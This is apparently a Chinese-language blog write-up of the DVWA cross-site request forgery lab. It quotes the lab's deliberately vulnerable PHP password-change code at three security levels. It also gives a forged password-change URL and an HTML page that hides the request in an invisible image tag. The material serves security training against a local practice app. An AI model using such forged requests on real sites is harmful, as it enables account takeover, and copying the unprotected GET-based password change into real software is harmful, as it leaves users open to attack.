CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

观察low级别代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

这里服务器通过GET方式收到更改密码的请求后会验证pass_new和pass_conf两个参数是否一致,如果一致会执行修改密码操作

,这里没有任何防csrf的机制。

先用burp suite抓http的包观察url

可以看到url为:

http://用户的ip/DVWA-master/vulnerabilities/csrf/?password_new=输的新密码&password_conf=输的确认密码&Change=Change#

我们只需要把对应新密码的部分改成我们想要的即可,比如123456

构造链接:

http://用户的ip/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

所以只要用户在登录已知网站的同时执行这个url就会把密码改成我们想要的密码

一般来说会做一个web页面来隐藏我们的url,我的页面代码如下:

<html>

    <head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title> A simple csrf web</title>
<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1" border="0" style="display:none;"/> </head>
<p> WINNER</p>
</html>

大部分都是选择把构造的payload放在img标签里,注意里面可以用style="display:none;" 让我们的payload隐藏起来,

当用户跳转这个页面时就会执行我们构造的payload

我们重新用之前没有修改时的密码登录就会发现密码错误了,用新的密码就可以登陆

Medium CSRF

观察源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

和low相比多了一个:

if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )

这个是匹配主机名字的,如果主机名与发起请求的名字一样的时候,就可以完成改密码的操作

那么我们可以构造这样的一个HTML  将文件名改为用户主机IP,放在网站根目录下

然后访问这个文件

logout返回登录页面使用之前的密码登录:登陆失败

用我们修改的新密码登录:

High

观察源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} // Generate Anti-CSRF token
generateSessionToken(); ?>

可以看到,High级别代码加入了Anti-CSRF token机制,用户每次执行改密操作服务器都会返回一个随机的token,向服务器放松请求时需要提交token参数,服务器会优先检查token,只有token正确才会处理客户端请求。彻底杜绝了利CSRF漏洞修改密码。

好像除了爆破没有别的办法了...

参考文章:关于GET和POST请求的区别

参考文章:GET请求和POST请求详解

参考文章:DVWA CSRF全等级详解

参考文章:CSRF攻击与防御

参考文章:CSRF简述

DVWA(五):CSRF 全等级跨站请求伪造的更多相关文章

  1. DVWA-全等级跨站请求伪造

    DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...

  2. Django:CSRF(Cross-request forgery)跨站请求伪造

    一.CSRF是什么 二.CSRF攻击原理 三.CSRF攻击防范 一.CSRF是什么 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Atta ...

  3. CSRF spring mvc 跨站请求伪造防御(转)

    CSRF CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一 ...

  4. 2、Web应用程序中的安全向量 -- CSRF/XSRF(跨站请求伪造)

    CSRF的概念可以分为两类:XSS和混淆代理. 混淆代理中的"代理"是指用户的浏览器.CSRF是基于浏览器的工作方式运作的.用户登录到一个站点后,用户的信息将会存储在cookie中 ...

  5. Web安全测试之跨站请求伪造(CSRF)篇

    跨站请求伪造(即CSRF)被Web安全界称为诸多漏洞中“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑.本文将简单介绍该漏洞,并详细说明造成这种漏洞的原因所在,以及针对该漏洞的黑盒测试与灰盒子测试具体 ...

  6. Django框架之跨站请求伪造

    跨站请求伪造(英语:Cross-site request forgery),也被称为one-click attack或者session riding,通常缩写为CSRF或者XSRF, 是一种挟制用户在 ...

  7. DVWA全级别之CSRF(跨站请求伪造)

    CSRF(Cross-site request forgery)  CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息( ...

  8. python 全栈开发,Day87(ajax登录示例,CSRF跨站请求伪造,Django的中间件,自定义分页)

    一.ajax登录示例 新建项目login_ajax 修改urls.py,增加路径 from app01 import views urlpatterns = [ path('admin/', admi ...

  9. 第三百一十五节,Django框架,CSRF跨站请求伪造

    第三百一十五节,Django框架,CSRF跨站请求伪造  全局CSRF 如果要启用防止CSRF跨站请求伪造,就需要在中间件开启CSRF #中间件 MIDDLEWARE = [ 'django.midd ...

随机推荐

  1. [心得体会]RabbitMQ

    RabbitMQ是什么? 消息队列, 基于AMQP(高级消息队列), 使用Erlang语言编写, 收发消息使用 有什么用? 有什么应用场景? 1. 任务异步处理 2. 应用程序解耦 为什么使用Rabb ...

  2. SpringMVC(6)数据验证

    在系列SpringMVC(4)数据绑定-1.SpringMVC(5)数据绑定-2中我们展示了如何绑定数据,绑定完数据之后如何确保我们得到的数据的正确性?这就是我们本篇要说的内容 -> 数据验证. ...

  3. 使用过redis做异步队列么,你是怎么用的?有什么缺点?

    Redis设计主要是用来做缓存的,但是由于它自身的某种特性使得它可以用来做消息队列. 它有几个阻塞式的API可以使用,正是这些阻塞式的API让其有能力做消息队列: 另外,做消息队列的其他特性例如FIF ...

  4. ESP32-使用有刷直流电机笔记

    基于ESP-IDF4.1 1 /* 2 * 刷直流电动机控制示例,代码通过L298电机芯片测试 3 */ 4 5 #include <stdio.h> 6 7 #include " ...

  5. 小刻也能看懂的Unraid系统使用手册:基础篇

    小刻也能看懂的Unraid系统使用手册 基础篇 Unraid系统简介 Unraid 的本体其实是 Linux,它主要安装在 NAS 和 All in One 服务器上,经常可以在 Linus 的视频里 ...

  6. Spring Boot(三):Spring Boot中的事件的使用 与Spring Boot启动流程(Event 事件 和 Listeners监听器)

    前言:在讲述内容之前 希望大家对设计模式有所了解 即使你学会了本片的内容 也不知道什么时候去使用 或者为什么要这样去用 观察者模式: 观察者模式是一种对象行为模式.它定义对象间的一种一对多的依赖关系, ...

  7. Java基础00-方法引用32

    1. 方法引用 Java8新特征之方法引用 1.1 体验方法引用 代码示例: 需求: 1:定义一个接口(Printable):里面定义一个抽象方法: void printString(String s ...

  8. windows程序快速启动的方式:WIN键+R

    WIN键+R是windows快速启动程序的一种方式,一般能独立运行的程序都能以这种方式启动.如notepad.calc.explorer等程序. 在命令行方式下explorer加上不同的参数,会得到不 ...

  9. 微信小程序云开发-云存储-上传文件(word/excel/ppt/pdf)到云存储

    说明 word/excel/ppt/pdf是从客户端会话选择文件.使用chooseMessageFile中选择文件. 一.wxml文件 上传按钮,绑定chooseFile <!--上传文件(wo ...

  10. node fs-extra文件操作模块的使用(支持同步、异步)

    用法参见:fs-extra